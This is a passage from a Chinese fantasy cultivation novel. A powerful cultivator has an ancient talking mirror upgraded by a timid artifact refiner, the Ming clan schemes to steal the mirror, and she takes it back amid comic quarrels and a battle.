蠢物(小镜子)就是她在一个秘境中得到的宝贝。这时候的小镜子其实看起来就像一个普通小镜子,毕竟民间做镜子的手艺已经发展得很好了,单论精美程度,小镜子还有些比不上呢。 但旋娉何许人也,自然是感到了这面小镜子的不平凡。只是她捡来有段时日了,除了发现她会说话、好奇心重和通人性的特别之处外,实在找不出其他的用处……她平时也不咋照镜子。 但世间会说话的宝器少见,旋娉又隐约觉得她会派上大用场,因此还是将她寸步不离地带在身边。 小镜子对外界的一切很好奇,干啥都要出来瞅两眼:野蛮的春绿中冒出的小兽,灼热的黄土地裂缝里长出的干草,潦草的落叶胡乱将她的视线掩盖,结冰的镜面上描绘着新奇的雪花……她都要看。 “打雷下雨出来做什么?这么好奇,下回送你去幽都瞧瞧?那些鬼的死相凄惨古怪,有你新奇的。” 小镜子:“我要看。” 也许是和旋娉待得久了,渐渐地脾性也变差了很多。 “真是越发没大没小了……我在世间大展拳脚之时,你还只是块愚笨的小石头……喂,又生气干嘛?不是你说自己本来是块石头的吗?” 小镜子:“论年岁大小,我比‘你’有资历多了。” “……噗嗤,哈哈哈哈哈!石头还能算资历?” “……” 没过多久,聪明的旋娉便发现了小镜子的正确用途:她不仅能复刻仙法存入镜中,还可以照出妖鬼的真身……甚至读懂生灵的心声。 “虽然是件蠢物,”旋娉心满意足地抚摸镜面,“但确实是个稀世珍宝……若你变得更厉害些,是否对我的用处会更大呢?” 她的炼器功法虽也是高阶,但并不算“最精通”,再说每位修士的钻研方向有所不同,她感到自己对小镜子有些手足无措,于是打算去找一个专精炼器的修士看看。 这么回想了一下自己的人脉……基本没有;人缘……差得要死。 四处打听后,总算找到一个比较靠谱有名的,就是听说价格贵一些,但对旋娉来说问题不大。 “帮我,或者去死,”她对着被她五花大绑的器修说,“选一个吧。” 器修:“呜呜呜呜呜呜!” 太难选了,太难了。 “你这面镜子真是大有来头!”器修双眼放光地说,“她可是天地之镜!不仅可以复刻仙法,还能照出妖鬼的真身,甚至读懂世间万灵的心中所想……简直是价值连好几座城啊!” 旋娉打了个哈欠:“我知道她的基本用处,我想问的是如何发挥她更大的本事。” “你太贪心了,”器修摇摇头道,“并不是所有人都能发挥她更大的本事的,连我都只能看个表面。” 旋娉:“少废话,你只管发挥你的本事。” “……哦。”器修感受到威胁,缩了缩脖子,老实道,“她年岁太久,是上古时期的宝器,又生成了器灵……想发挥它更大的用处有两个办法:一是帮器灵修出灵体,她便能继续修炼、为你所用;二是将宝器改造成符合我们现今修仙界的属性,并让你与她灵识相通,如此你就知道如何完全地使用她。” 旋娉的最终目的是为了飞升,所有的好处自然要归到她本身上,因此毫不犹豫地选择了第二个方案。 旋娉:“你需要什么尽管说,我帮你找来。” 器修:“我需要一块和她年岁尽量相近的神石。” “什么?” “你不是说了,她的前身是神石吗?我需要一个和她相通的‘经脉’才能炼制她;传说上古时期有许多充满天地灵气的石头,部分被选去做补天石,部分遗留下来;但时过境迁,这些石头都藏了起来,她们身上的气息大概率与她有相通之处,我便能借此与她连接。” 旋娉听懂了,但:“我要上哪去找?” 器修想了想:“我听说罗宝山石窟之中就有一块,不过那里危机重重……” 旋娉:“知道了。” 她去了,又很快回来,揪起器修道:“那块石头藏在山体中,动一发就要牵全山,我不好下手;这样,我送你去那。” 器修:OO? “啊?等等,这不对吧……救命啊——” 当时的罗宝山附近有以买卖蛊虫为生计的螺族,那些穷困潦倒的族人为采集炼制蛊虫的药材,常常出入山中;旋娉为避免器修被打扰,将那座藏有神石的山设置了结界,叫凡人瞧不见它。 器修被扔进山下的石窟中,这里头乌漆嘛黑一片啥也没有;旋娉施法引雷,将神石所在之处直劈一道裂口下来,神石释放的光亮便因此落入石窟之中,其中的上古灵气可为器修所用。 一切准备就绪,旋娉对器修道:“万事俱备,你要炼制多久?” 器修抹了把辛酸泪:“大概一百多年吧。唉,我从来没炼制过这么久的宝器,等我出山的时候该是何年何月啊呜呜呜……” 旋娉不满道:“这么久?他们分明说你是当今数一数二的器修。” 器修解释道:“既然已经被你绑到这了,我就和你实话实说吧!我炼制宝器的法术与众不同,需要入梦中修炼;而我梦中一日相当于外界十年,这么算我只需炼制十日时间!” 第235章 “自欺欺人。”旋娉这么评价,“不过你这修炼之法倒是奇特……做梦是做梦,梦中的修炼怎会成真?” 器修:“我天生就是如此,就像你天生是天才。” “行吧。”旋娉将小镜子给他,还有些些不舍呢,“你好好待她,她脾性不好,常常不理人。” 器修宝贝地接过镜子:“上古宝器嘛,有些脾气是正常的。” 旋娉就要走,走了两步回过头来,对好久没和她说话的小镜子道:“别生气了,一百年后我定来接你。” 器修好笑道:“她可是上古宝器,生来到如今历经了千万年不止,一百年对她来说不过是眨眼间的事呢。不像我,一百年光阴就这么要在梦中过去了呜呜呜呜……” 旋娉没说话,只是望了那面小镜子一会,还是转身离开了石窟。 至此以后,小镜子便和器修相伴。 器修是个话多的,就算她不说话,这家伙也能自己说上一日,一月,一年……当然她没有冷淡他这么久啦,她一向对人不对事,对旋娉的不满不会转移到他人身上去的。 因此很快,二人变成了好友友。 器修友友问:“你 叫什么名字啊?” 小镜子:“她们有人叫我小石头,有人叫我小镜子。” 器修友友奇怪道:“哎呀,你这么珍贵的天地之镜都没有一个骇人听闻的大名吗?” “嗯。” “那我给你取一个吧。” “嗯。” “就叫……天下第一超神镜!” “……”小镜子觉得这风格和自己很不搭,“不要。” 器修:“嘶,那么叫……照天照地照啥都行镜!” 小镜子依旧不喜欢:“不要。” 器修:“这也不行吗?这听起来很厉害了!或者你喜欢……让我静镜?哈哈哈哈哈!” 小镜子闪了一下,不说话了。 “咦?你生气了吗?你别生气嘛,我再给你想想……” “闭嘴。” “别嘛别嘛……” 小镜子:“那么你叫什么?” “我啊?我无父无母,跟我师父姓顾;又因我打小爱睡觉,一边睡觉一边修炼,师父就叫我不醒。” 小镜子:“顾不醒?呵,原来你取名字的功力师承你师父。” “你在夸我吗哈哈哈!” “……” 一修士一镜灵相伴,这一百年倒不算寂寞。小镜子甚至还时不时觉得有些烦,好在顾不醒大部分时间都在专心修炼,她偶尔还是能睡个一整日的安心觉。 小镜子是面聪明的镜子,她很快意识到顾不醒对她的炼制于她有利;这次被旋娉唤醒后,她发现自己“有力无处使”,仿佛与世间隔了一层无形但厚实的屏障,只能借她人之手发挥自己的本事。 这是与以往与众不同的,之前她还能自己“照”人,但这次只能被“照”;而在顾不醒对她的改造之中,小镜子渐渐感到了失去已久的掌控力,慢慢地能够自行复刻仙法、照妖鬼真身,读万物心灵…… 她甚至感到了汲取天地灵力的“知觉”,先前是无意识的,仿佛只是被流经,或者成为收容它们的容器;可这会却是她自己在汲取,一切都属于她,能让她变得更强大,她清楚自己正在慢慢融入当今的天地世间…… 并且发现了一个从未察觉真相——原来她灵力的源头也是女娲神力。 这似乎情有可原,毕竟她曾算是女娲的“所有物”,难怪后来者只有身负女娲神力的“元神分身”才能唤醒她。 小镜子对自己逐渐强大和越发神智清明一事感到很满意。 一百年时光就这么转瞬即逝。 有一日顾不醒很兴奋地对她说:“太好了小镜子,只差最后一步我们便能大功告成!” 小镜子打了个哈欠:“哦,哪一步?” 顾不醒挠挠脸:“被雷劈一下就好了。” 小镜子:OO? “这也是没办法的,你可是上古宝器,我们一人一灵修炼了百年,修为突飞猛进,最后功成时一定会破境进阶……我本就是高阶修士,每次进阶都要挨雷劈的,而且……” 他望着漂浮在面前的镜子,以及镜子中面容憔悴苦涩的自己:“我有预感,这雷很凶哦。” 小镜子照着顾不醒,感受到他心中莫大的恐慌:“是吗,最可怖的后果是如何?” 顾不醒想了想:“就是熬不过去吧……” 小镜子:“会死?” “你不会死的。”顾不醒连忙摆摆手,安慰她道,“你是天地之镜,天地的风火雷电都奈何不了你。” 小镜子便说:“既然如此,你掩在我身后,我保护你。” 顾不醒感动道:“是吗?你待我真好!难道你不怕天雷将你劈碎吗?” “你不是说奈何不了我吗?” “它奈何不了的是镜灵,毕竟天地之镜可千变万化,可以是水,也可以是天,还可以是你如今的镜子模样,因此哪怕躯体被劈碎了,你身为镜灵依旧会活着,能够找寻下一个躯体……” 小镜子听明白了:“既然如此,天雷将我劈碎后,我再找新的躯体变好了。” “问题是……”顾不醒戳戳手指头,“我将你炼制改造之后,你更趋近于如今的宝器器灵,蕴含无限灵力,已经不是随便的一汪池水、一面镜子可容纳你了……” 小镜子:“容纳不了会怎样?” 顾不醒:“它们会爆炸,而你会因无地安放灵魂而四处漂泊……” 说到后边他叹了口气,小心又期待地问:“即使如此,你也愿意护我躲避天雷吗?” 小镜子:“……” 顾不醒见她不说话,立刻道:“哎呀,其实我也不见得会死……” “我帮你。”小镜子说,“我保护你。” “真的吗……”顾不醒一愣,下意识为她找拒绝的借口,“不不,算了,旋娉会杀了我的……” 小镜子:“旋娉是谁?” 顾不醒:“……” 小镜子:“如果我不保护你,你能活到她来杀你的时候吗?” 顾不醒:……好有道理! 发现对方不是在开玩笑,顾不醒深受感动,捧着小镜子泪眼汪汪道:“呜呜呜你是我见过最有义气的器灵!此大恩大德不醒没齿难忘……” “闭嘴。”不想听他絮絮叨叨,小镜子不耐地打断他,“你快点,我已经迫不及待地要离开这里了。” 顾不醒抹去眼泪鼻涕,用力点头:“好!你放心,我还有一些能抵挡天雷的宝器,能替你我挨几道。” “哦。” 正如器修所说,大功告成时天雷如约从天而降,顾不醒躲入了镜面之中,边上乱七八糟地放着抵御天雷的宝器,但不过八道天雷就将它们劈得焦烂;最后一道——也是威力最盛的一道就这么劈到了小镜子身上,将她的镜面辟出了一道贯穿上下的裂痕,如同雷电的形状。 雷光穿过镜面,照得器修脸色煞白,他颤巍巍道:“小镜子,你……疼不?” 小镜子闪了闪,语气平静中带着些奇怪:“没什么特别的感觉。” 顾不醒松了口气,一边从镜子里出来一边说:“我太厉害了……不对,是你太厉害了……嘿嘿,但将你炼制得这么厉害的我也是很厉害的……你放心,之后我会想办法将你的镜面复原。不过还要先过了旋娉这关……咦?” 还想着见到旋娉要怎么解释的顾不醒,看着石窟内满满当当的一群人傻眼了:“你、你们是谁?” “顾不醒,我们等你许久了。”为首的那个中年男人露出狡诈的 礼貌笑容,“听说你在此炼制绝世珍宝,我等特来此处迎你出关,还带来了表示诚意的黄金万两、灵石万贯。” 不等顾不醒反应过来,他身后的一干手下就将身前的大箱子打开,霎时光彩夺目的金光灵光照透了整个石窟。 顾不醒:O0O!! 他虽感到一些不妙的预感,但忍不住咽了咽口水,试探地问:“咳……确实挺有诚意的。不过你们究竟是谁?找我有什么事?” “我们是明家的人,”中年男人道,“来此是为了买你新出炉的宝器。” “明家的人?不认识……”顾不醒心想大概是他避世的这一百年里崛起的新家族吧,不知道干啥的,“你们怎么知道我在这炼制宝器?” 中年男人笑道:“是天神帝俊的指引!” 顾不醒还是不认识,但这也不重要:“……哦,不过我实话和你们说,这宝器可不是我说得算,你们要买……去问旋娉吧!” “旋娉?”提到这个名字,男人的脸上有明显的僵硬,“呵呵,万事都讲先来后到,她来迟了。” 顾不醒:“不不,是她吩咐我炼制的宝器,而且本就是她的东西……来迟的是你们。” 男人神色一凛:“啧,世事都讲个缘分,我看是我明家与这件宝器更有缘分……难道这些报酬你不满意?旋娉给了你什么好处,我们翻倍!” 顾不醒左顾右盼,看这一大堆瞧着就不好惹的人,个个都是中阶修士,他的天啊:“可可可我已经答应了旋娉,这……这不合适。” 男人见他始终不松口,也没好了好脸色:“顾不醒,刚挨过破境天雷,我想你如今身子虚弱,只想好好休息吧?” 顾不醒努力稳住自己发抖的声线:“你、你们想干嘛?不要乱来啊……” 男人一耸肩,无奈道:“乱来?我们也不想乱来,劝你不要敬酒不吃吃罚酒,好好收下这些金银财宝,总比打起来弄得两败俱伤还讨不着好更合适,对不对?” 简直太对了,但是可是…… 啊!旋娉怎么还没来啊!!他一个柔弱的器修要怎么打过这么些中阶修士!?这打起来了他确实讨不着好…… 第236章 “咳,那我们好好商量、好好商量……”顾不醒扯起一个难看又委屈的笑容,“其实这件宝器十分危险,我将她卖给你们前要和你们说清楚道明白了,不然只怕会惹出祸患……” “这好办。”见他松了口,男人也好说话了一些,“就请阁下随我们去乌明山庄做客,届时你我可好好说道说道。” “呜呜、哈哈哈……好。” 这当然只是权宜之计,顾不醒就盼着旋娉赶紧来捞他呢。 乌明山庄中住着乌泱乌泱一大家族的人,对他们来说,和血脉相连同等重要的关系纽带便是对天神帝俊信奉。这群人各怀心思、求同存异,建立起了异常牢固的各级关系。 顾不醒刚到山庄没一日,就搞清楚了其中的大概情况:如今在乌明山庄当家做主的是三兄弟:大当家正外出办事,二当家明贰也就是去拦截他的中年男人,三当家明叁则在山庄中处理要事。 但除这三人之外,他们还有一个大姐明晨,平时不常露面,在后宅地处理着明大家族的各种琐事,包括但不限于处理这三兄弟的各种情人小妾,以及他们孩子的日常花销、大小纠纷等。 明晨十几年前曾因婚嫁离开了山庄,但没两年夫家就被仇家找上门,一大家子该死的都死透透了,她侥幸抱着孩子逃回了乌明山庄,从此鲜少出世。 这位明姑奶奶虽然低调,但掌管山庄的经济大权。因此得知明贰要花大价钱来买一件来历不明的宝器时,她雷厉风行地带着下人来到了顾不醒屋中,瞅了眼那堆了一地、照着屋子比外头还光亮的金银财宝,客气又冰冷道: “不知顾仙人可否将宝器借我一观?” 顾不醒看了看抓耳挠腮的明贰:“……哦,好。” 他把镜子往桌上一摆,明晨立刻皱起了眉头,脸上是像指出徒弟课业错处的师父的神色:“此宝镜除了有些年头外,造价工艺皆一般,最重之重……为何这中间有道裂痕?” “这个这个……”顾不醒讪讪一笑,“是我不小心摔坏了。” 明晨似乎很微小地颔首了一下,语气变得冷酷起来:“是么?既然这样,这件本就平平无奇的宝镜更要大打折扣了。” “哦,是哦。”顾不醒转了下眼珠子,“可我便宜不卖。” 明晨:“那么我们不买。” “姐!”明贰忍不住跳起来道,“这是天神指引的宝贝!我与下人在外头守了三日三夜,亲眼所见天上降下了天雷,这绝对是珍宝显世之兆!” 明晨挑起秀眉:“是么?那你说它的特别之处在哪?” “我这不正要问人家嘛!”明贰朝顾不醒使眼色,“顾不醒你说啊,这宝贝要怎么用?” 顾不醒挠挠脑袋:“其实我也不太清楚,毕竟我不是她的主人……” 明贰疯狂使眼色:“胡说,这是你炼制的宝贝,怎么你就不是她的主人了?” 顾不醒戳手指头:“我充其量是个代炼制的……” “你……” 明晨:“她的主人是谁?” 顾不醒咧嘴一笑:“旋娉。” 明晨把扒拉着她的明贰甩开,严肃了神色:“二弟,你竟敢抢旋娉的东西?你一人惹火上身是小事,就不怕拖累我们整个山庄!?” “姐……” “别叫我姐。”明晨丝毫不心软道,“若你执意要买这件宝贝,好,你带着它离开,从此以后你是死是活与明家再无瓜葛!” “明晨!”明贰急得跳脚,“糊涂的是你!这事大哥和三弟都同意了!我们知道你压根不……不会同意此事,总之我们已经做了决定,这些钱财日后我们会想办法填补……” 明晨定定地看了他一会,似乎叹了口气,什么都没说地就转身离开了。 顾不醒目瞪口呆地看着姐弟俩吵架,心中感到许多不安,他是生怕招惹到麻烦的,因此也不想知道太多秘密。 想到这,他可怜地对明贰说:“我说明二哥啊,要不你们下次吵、说话时避着我点吧,你们自家人的事我不好掺和的。” 明贰瞅他一眼,心烦地抓了把头发道:“不提这个,先说说这镜子是怎么回事,怎么碎了?” 顾不醒道:“它挨了天雷劈,就碎了……” “什么!?”明贰一拍桌子,火冒三丈道,“你身为一个器修,居然不帮它挨天雷!” 顾不醒撇嘴嘟囔:“挨了天雷死的就是我了,到时候你们在外边就可以守株待兔、得来全不费工夫了是不是?” 明贰:…… 他本是没有这个想法,毕竟都带了那么多“诚意”去了,但经顾不醒一提,忍不住感到万分的可惜,于是长长叹了口气:“唉……” 顾不醒还觉得委屈呢:“唉……” “总之,”明贰伤脑筋道,“你得把这镜子修好了,不然是要大打折扣的。” 顾不醒:“修好要不少时间呢。” 明贰不耐烦地挥挥手:“你就安生待在这,吃的喝的短不了你,山庄中四处有下人守候,安全得很,你只管一心一意把镜子修好了。” “知道了。” 说是安全得很,但顾不醒当晚就遭小偷了。 没错,被偷的就是那宝贝镜子。 这下好了,本就不知道怎么跟旋娉交代的,现在又不知道怎么和明贰交代了!顾不醒坐在乱七八糟的床榻上,整个人非常凌乱。 问题是!为什么!小镜子!压根没提醒他呢!? 难道是……小偷太厉害? 或者是……他睡得太死? 顾不醒希望这一切都是梦,眼睛一闭,他就还在罗宝山石窟、在那一百年的梦中尚未苏醒……现实真的太可怕了呜呜呜呜! 再看小镜子这边。 俗话说好奇心害死猫,这话用在身上都是一样的,更何况是并不觉得自己会死的小镜子,因此就更大胆了。她被天雷劈裂之后陷入了休憩状态,但大概知道外界发生了什么,等醒来后到了乌明山庄,小镜子很快就发现了其中的古怪。 这山庄的灵气非常浑浊,世上灵气浑浊的生灵并不少,但乌明山庄的特别之处是其中混杂了女娲神力; 与其说是混杂,不如说是“改造”。 就像……放久后变坏了的果子,你说它是什么果?还是那个果,但其间已经腐烂了,从一个好果子变成了坏果子。 怎么会这样?小镜子很奇怪,她遇到的大部分拥有女娲神力的人,不管是女人羲和常曦姬有熊还是旋娉,哪怕混杂了“人”的气息或是修士的“灵力”,女娲神力都是很纯粹的。 除此之外还有一个重点:并非是山庄中的人有神力,而是这座山庄有……难道这山庄本身有什么和女娲有关的特别之处? 她太好奇了,因此在那人来偷她的时候并未吭声。总之她现在已经有了自保能力,灵体也不会死,那么去哪都行啊。她原以为会被带到哪里去呢,没想到还是在山庄中,难怪凡人都说家贼难防啊~~ “做得好,”那个有些熟悉的女声说,“想办法将这面镜子毁了。” “是,娘。” 随着一阵渐行渐远的脚步声消失后,小镜子被拿了出来,照见了一张美得过分的脸,哪怕裂开的镜面将脸扭曲了一些,也丝毫不影响少年的美丽。 这人倒是没心情欣赏自己的容貌,握拳往镜面上一砸——哎呦,毫无动静。 他挑了下眉,用力往地上一摔——哎呦,还是没碎哦。 少年瞅着躺在地上的镜子思酌了两瞬,手中变出一把寒光凛冽的剑来,凶恶的剑意毫不犹豫地往镜子上扑去,只听一声刺耳的“铮”——剑在哀嚎,而镜子依旧安然无恙。 少年:个个 他将镜子捡了起来,俊眉一挑:“只是瞧着普通。” 小镜子闪了闪,开口说话了:“有镜长得一般,但能力非凡;有人长得好看,但实力一般。” 少年:…… “原来已经长出了镜灵……”他若有所思道,“毁了倒是可惜。” 小镜子:“不是可惜,是你没这本事。” 少年:“不如和娘商量一二再做定夺。” 小镜子:“你娘也没这本事。” 少年:“……聒噪。” 小镜子立刻不高兴了,这可是她常用来嘲讽顾不醒的话,这人简直不知好歹!要不是想套些信息她才懒得开口呢,于是闪了闪后便不说话了。 但俗话说得好,这人就是贱,当小镜子不说话了,少年又要找她说话:“说说你的本事,也许我能饶你一命。” 小镜子:。 少年便兀自分析:“你身上的伤是受高阶天雷所劈?那么你起码能抗住天雷。” 小镜子:。 少年拿起镜子:“听说你是旋娉的宝器,她很看重你吗?” 小镜子:。 少年望着镜子中的自己:“你怎么不说话了?” 小镜子:“聒噪。” 少年:…… “还挺有脾性。” 他却是笑了笑,将镜子放在床边的柜子上,自己上了床开始打坐修炼;可刚闭上眼没一会,似乎想到了什么,又将镜子放入了自己的贴身衣物中,大概是怕有人把他刚偷来的镜子偷走吧。 小镜子闪了闪,果然没在少年身上照到女娲神力。 不过他在修炼时汲取的灵气中却包含着来自山庄的浑浊神力,而他能将其化为己用。但这不是好果子变坏果子了,而是果子被吃进去填饱肚子,就这么消失了。 也不知道顾不醒做了什么,小镜子丢失后过了有半月才东窗事发,乌明山庄中顿时热闹非凡。不是没人来搜查过少年和他的住所,但这些人要么是普通的下人、要么是修为不如少年的修士,因此都发现不了,但始终对他抱有很大的怀疑。 第237章 这半月她和他偶尔会说些话,但少年本就不是话多之人,而且似乎察觉到她有试探的意思……主要是某镜太明显了,她一旦开口就是各种问: “你和你娘为什么要毁了我?” 少年:“我们有自己的打算。” “什么打算?” 少年:“不能说。” “可你们毁不掉我。” 少年:“既然这样,我会想办法将你藏起来。” “就这样藏在你身体里吗?” 少年:“……这只是权宜之计。” 偶尔也会有少年主动和她说话的时候,比如:“你成为镜灵有多久了?” 小镜子:“很久很久,久到你数不清有多久。” “当时的皇帝是谁?” 小镜子:“当时还没有皇帝,只有女娲。” “女娲?”少年笑了一声,“那确实太久了。” 小镜子:“嗯。” “你分明年岁深长,为何还是小孩心性?” 小镜子:“……你才是小孩心性!” 然后就不说话了。她常常生气,倒是也好哄,只是要一直记得这事才好;所以少年修炼之余就和她说说话,多说一会、多说几日她就会回了。 这日他问:“你是旋娉身边的镜灵,能看出我与她的修为有多大差距吗?” 小镜子:“你吗?你和她差远了。” “……是吗。” 小镜子:“不过我也有一百年没见她了,那么……你应该和她差更远了。” “……哦。” 小镜子:“你不要不自量力,她不是你能比的。” 少年知道她并不是故意扎心,只是在说实话,甚至可能还在劝导他,但话说得比较难听罢了,因此也认真地说:“我不愿不自量力,但始终将她当做我最后的对手,也许待她飞升之日我也不及她,但……我需要这样的念想。” 小镜子:“哦。” “你是想让我不要去送死吗?” 小镜子:“没这么说过。” 镜面中的人笑了:“如果旋娉得知你在我手上,她为了夺回你也许会杀了我。” 小镜子:“你知道就好。” “听说她在闭关。”少年主动提供了旋娉的信息,“不然以她的行事,不可能这么久没有消息,明家抢走她的宝贝,她不会轻易放过他们的。” 小镜子闪了闪:“哦。” “你再等等。” 小镜子:“我没在等她。” 少年挑眉:“难道你已经安心待在我身边了?” “我只是面镜子。”小镜子说,“去留何处不是我能决定的。有人和我说过,得到我的人是和我有缘分,我以为缘分一词只在人与人之间存在,毕竟从未有人问过我是否愿意待在她身边,只要得到我好像就是答案。” 少年微愣,脸上的笑意渐渐散去:“你在怪我?” “不怪谁,我已经想明白了。”小镜子说,“这就是我的命运,是一件宝器要走的道。” 少年怔神地看着镜面,仿佛真的看见了镜灵。半晌才轻笑一声,听着也像是在感叹:“不愧是……天地之镜。” 明家人要找她很难,但旋娉要找她是很容易的。 她站在高高的屋檐上,居高临下地对下方乌泱乌泱的明家人道:“把我的镜子交出来,否则别怪我不客气。” 三当家明叁把边上的顾不醒拎了过来:“冤有头债有主,旋娉,你的宝器是他弄丢的,不关我们明家的事!” 顾不醒瞅见旋娉冷嗖嗖的眼神,打了个寒颤大声道:“镜子就是在你们乌明山庄丢的,和你们关系大了!” 二当家明贰立刻否认:“呸!分明是你看管不好宝器这才叫贼人偷走,我已经命人将山庄上上下下搜查了三月,皆是一无所获!若不是看在旋仙人的份上,你以为一件小小的宝器值得我们这么大动干戈吗?” “我还呸呸呸呢!”顾不醒大感冤枉,跳起来道,“当初分明是你们要和旋娉抢这个宝器,我不卖你们就威胁我,那我能咋办,只能跟你们来了啊!镜子是在你们山庄丢的,依我看——你们就是在监守自盗!” “你胡说!” “你心虚!” “来人,把他押下去!” “救命啊,欺凌弱小啦!旋娉快救我——” 旋娉:……吵死了。 “都给我闭嘴!”她一声喝下,底下瞬间一片安静,只听她深呼一口气忍着怒火道,“我感应到镜子就在你们乌明山庄,至于在谁手中,为什么找不到,是刻意谋划还是事出有因……都无所谓。” 她冷漠的目光扫下底下的一干蝼蚁:“半刻钟后你们有两个选择,要么交出镜子,要么——死。” 蝼蚁们:…… 放狠话的可是旋娉,她的事迹但凡对修仙界有些了解的都有所耳闻,总之是个需要小心伺候的大魔头;而且听说她避世修炼几十年刚出关,想来修为又大有提升…… 因她这话,场下立刻躁动起来,大伙彼此质疑彼此推搡,非常相亲相爱。 “喂,是不是你偷的?你平日就爱做些偷鸡摸狗的事。” “去去去,你也不是啥好货!” …… “前几日我见你在屋里偷偷摸摸的,难道……” “冤枉啊娘子……唉,实话和你说了,我在藏私房钱……” “好你个贱人!” …… “要我是那个小偷我也不说,说了必死无疑啊;不说的话我们这 么多人联手也许还能治治那个娘们……” “治旋娉?我看你先去治你的猪脑子吧!不过……你这话什么意思啊?不会偷东西的是你吧?” “不是!” …… “顾不醒,你怎么一脸幸灾乐祸?是不是你将镜子藏起来了!?” “别装了,就是你们贼喊捉贼吧?我劝你们趁旋娉还没发火,赶紧坦白从宽!” “镜子真不是我们拿的!” “略略略,死鸭子嘴硬。哼,我管你们?反正我不姓明,旋娉不会杀我的!” “你!二哥放开我,让我教训这个臭小子——” “三弟!现在不是意气用事的时候!” …… 场下纷纷扰扰,旋娉盘腿坐在屋檐上阖眼休息,仿佛一切嘈杂约她无关。而此时的真小偷也在接受盘问。 少年被拉到一边:“娘这几日忙,没空问你……处理好了吗?” 他抿了下唇,微微摇头。 明晨眼前一黑:“你怎么回事?没处理好不知道告诉我?” “我还在想办法。” “来不及了!”明晨道,“你把镜子给我。” “……不行。” “明易!”明晨厉声道,“把镜子给我!” “娘,”明易没什么情绪地问,“你要做什么?” 明晨叹了口气:“物归原主罢了,我只是不想让你舅舅他们得到此物……你竟能将它保管到今日,这下可以将它归还给旋娉,也是意外之喜。快将镜子给我,明贰他们那我没办法。” 明易眼神微闪,瞧着有些不情愿。 “明易,”明晨秀眉紧蹙,“难道你也贪心这稀世珍宝?” “……没有。” 半刻钟一到,旋娉就睁开了眼睛,懒散地扫了蝼蚁们一眼:“镜子呢?” 蝼蚁们不敢说话,一个个苦着脸;但蝼蚁老大还是要发言的,哪怕是求饶:“旋仙人,我们真的不知道宝器的下落……” “镜子在我这!” 人群中响起一道明亮的女声,旋娉抬眼望去,果真在女人高举着的手中见到了自己的宝贝镜子,这真是一眼百年呐……不过:“我的镜子怎么碎了?” 明晨从人群中一步步走上前来:“我第一眼见这面镜子时它便是碎的。” 顾不醒连忙朝旋娉大喊:“这事我之后和你解释,无关大碍的!” 还不等旋娉说什么,明贰明叁二人就跳去了明晨边上,厉声指着道:“镜子竟然真的在你手中!明晨,你藏得可真深啊!” “对,是我偷的镜子不错,”明晨白他们二眼,“既然你们不听我的,定要花费这么多的钱财去买一面平平无奇的镜子,就别怪我出此下策!” 明贰气得横眉竖眼:“你可是我们亲姐,实在是太过分了!” “过分?哼,”明晨却是一笑,“若不是我偷来了镜子,这会它还能安然无恙地归还到旋仙人手中吗?不见得吧?” 明贰明叁:…… 旋娉不在乎这些人之间的恩怨,把手一伸道:“镜子给我,算你们命大。” 明晨高举捧上宝器,很快就有一团灵光包裹了镜子,将它在众目睽睽之下往旋娉送去。在蝼蚁们看来,这确实就是一面再普通不过的镜子没错,不知为何会这么大费周章,不过如今能保住性命就是好事。 谁知就在镜子飞到半空时,变故发生了—— 明叁一咬牙跃身飞去,竟胆大包天地要当着旋娉的面抢她的镜子!明晨大惊:“三弟,住手!” “二哥!”明叁却对明贰喊道,“快来帮我,这可是帝俊指引的宝贝!” 明贰似乎有些犹豫,不过很快便做出了决定,飞去一起抢夺镜子。 旋娉淡然看着二人的动静,并不觉得他们算是对手,随手砸出两个拳头大的灵气,一下就将飞到空中的两个大腹便便的肥壮中年男人“轰”地推开砸到了地上,险些压倒边上来不及逃的无辜蝼蚁。 明贰摔到一人脚边,哎呦呦地喊了几声疼,抬起头来才发现脚的主人是他外甥,咬牙捉住他的脚腕道:“明易?还不扶我起来!” 明易仿佛才发现似的:“哦,原来是舅舅。”慢吞吞地将他扶起来。 明晨匆匆赶来,恨铁不成钢道:“你们真是找死!” 那边还有个更找死的呢,就听还坐在地上的明叁对旋娉大喊道:“旋娉,你出个价格,我要买你的镜子!” 第238章 旋娉抚摸着已经到手的宝镜,懒得瞧他一眼,只嗤笑一声道:“价格?好啊,就以你们乌明山庄上下几千口人的性命来还好了。” 在场的明家人:…… 明叁撑着身子咳咳了两声,气得要吐血:“你别欺人太甚!” “做生意是你情我愿的事。”旋娉道,“我也不是强买强卖,何来欺人太甚?” “就是就是!”顾不醒见缝插针地乱蹦,“旋娉,既然你镜子也到手了,不如你赶紧带我走吧呜呜呜,我不想再待在这了!” 旋娉瞅他一眼,脸上有一瞬明显的嫌弃表情,但她还是朝他招了招手:“上来。” 顾不醒:“好嘞!” 可就在他往屋檐上飞的时候,那明贰怒喝一声道:“若是让你这么容易地走了,日后我乌明山庄的面子往哪搁!?” 说罢手上忽然变出了一个类似雕像的东西,猛地往旋娉抛去—— 明晨气得发白眼,咬牙切齿地骂了一句“蠢货”,起身飞去将那雕像夺回来,扔出一团灵光将雕像罩住,却见雕像中有暗色光芒猛地迸发而出,震开浩荡的灵气,瞬间将场下一干人等拍飞。 她紧急停住,以剑在身前抵御,等冲力暂缓时再见面前的景况,便是旋娉和一只浴火的三足乌在高空中打斗。 为了抢夺一面镜子,二当家就这么拿出了压箱底的宝贝。灰头土脸的明家群众议论纷纷,不敢留又不想走,挨在一起抬头看热闹。 “娘!”她儿子飞来她身边拉住她,“别管了,我们快走!” “不行。”明晨瞥了眼下边相互搀扶的两个弟弟,忍着怒火道,“若是不将护明神雕的神力重新封印,明家撑不过百年……” 明易冷漠道:“我们现在就走,以后和明家再无瓜葛,何必再考虑他们能撑几年?” “明易,你怎么能这么想?”明晨不赞同道,“你舅舅他们是糊涂了些,但始终是同你我血脉相连的亲人,乌明山庄是我们的家;当年若不是他们好心收留,我们母子如今还不知在何处……” 明易不欲再听:“别说了娘,你分明知道明家就是一个从根上就错了的烂摊子,何必纵容他们?” “……你舅舅他们待我不薄,”上空打斗的动静越发激烈,明晨的声音也不由得着急了一些,“不管如何,我不能放任他们不管,我会尽我所能帮明家走上正道。” 明易这时发现世上有一半的过错源于贪婪愚昧,还有一半则因有情有义。这么看来,世人不犯错几乎是不可能的。 就像他此时此刻面对此情此景,也只能选择这么做:“好,娘你去保护舅舅他们,我去封印护明神雕。” “明易!” 话说这边的被争夺的主角小镜子,好不容易回到旋娉身边,比起外边的纷纷扰扰,她更好奇旋娉这一百年来的变化——这么一照不得不惊讶,旋娉变得更强了;其实和她先前的厉害很大部分归功于女娲神力带来的天赋,可如今她自身的修为灵力隐隐有压过女娲神力一头的趋势。 只差一步。 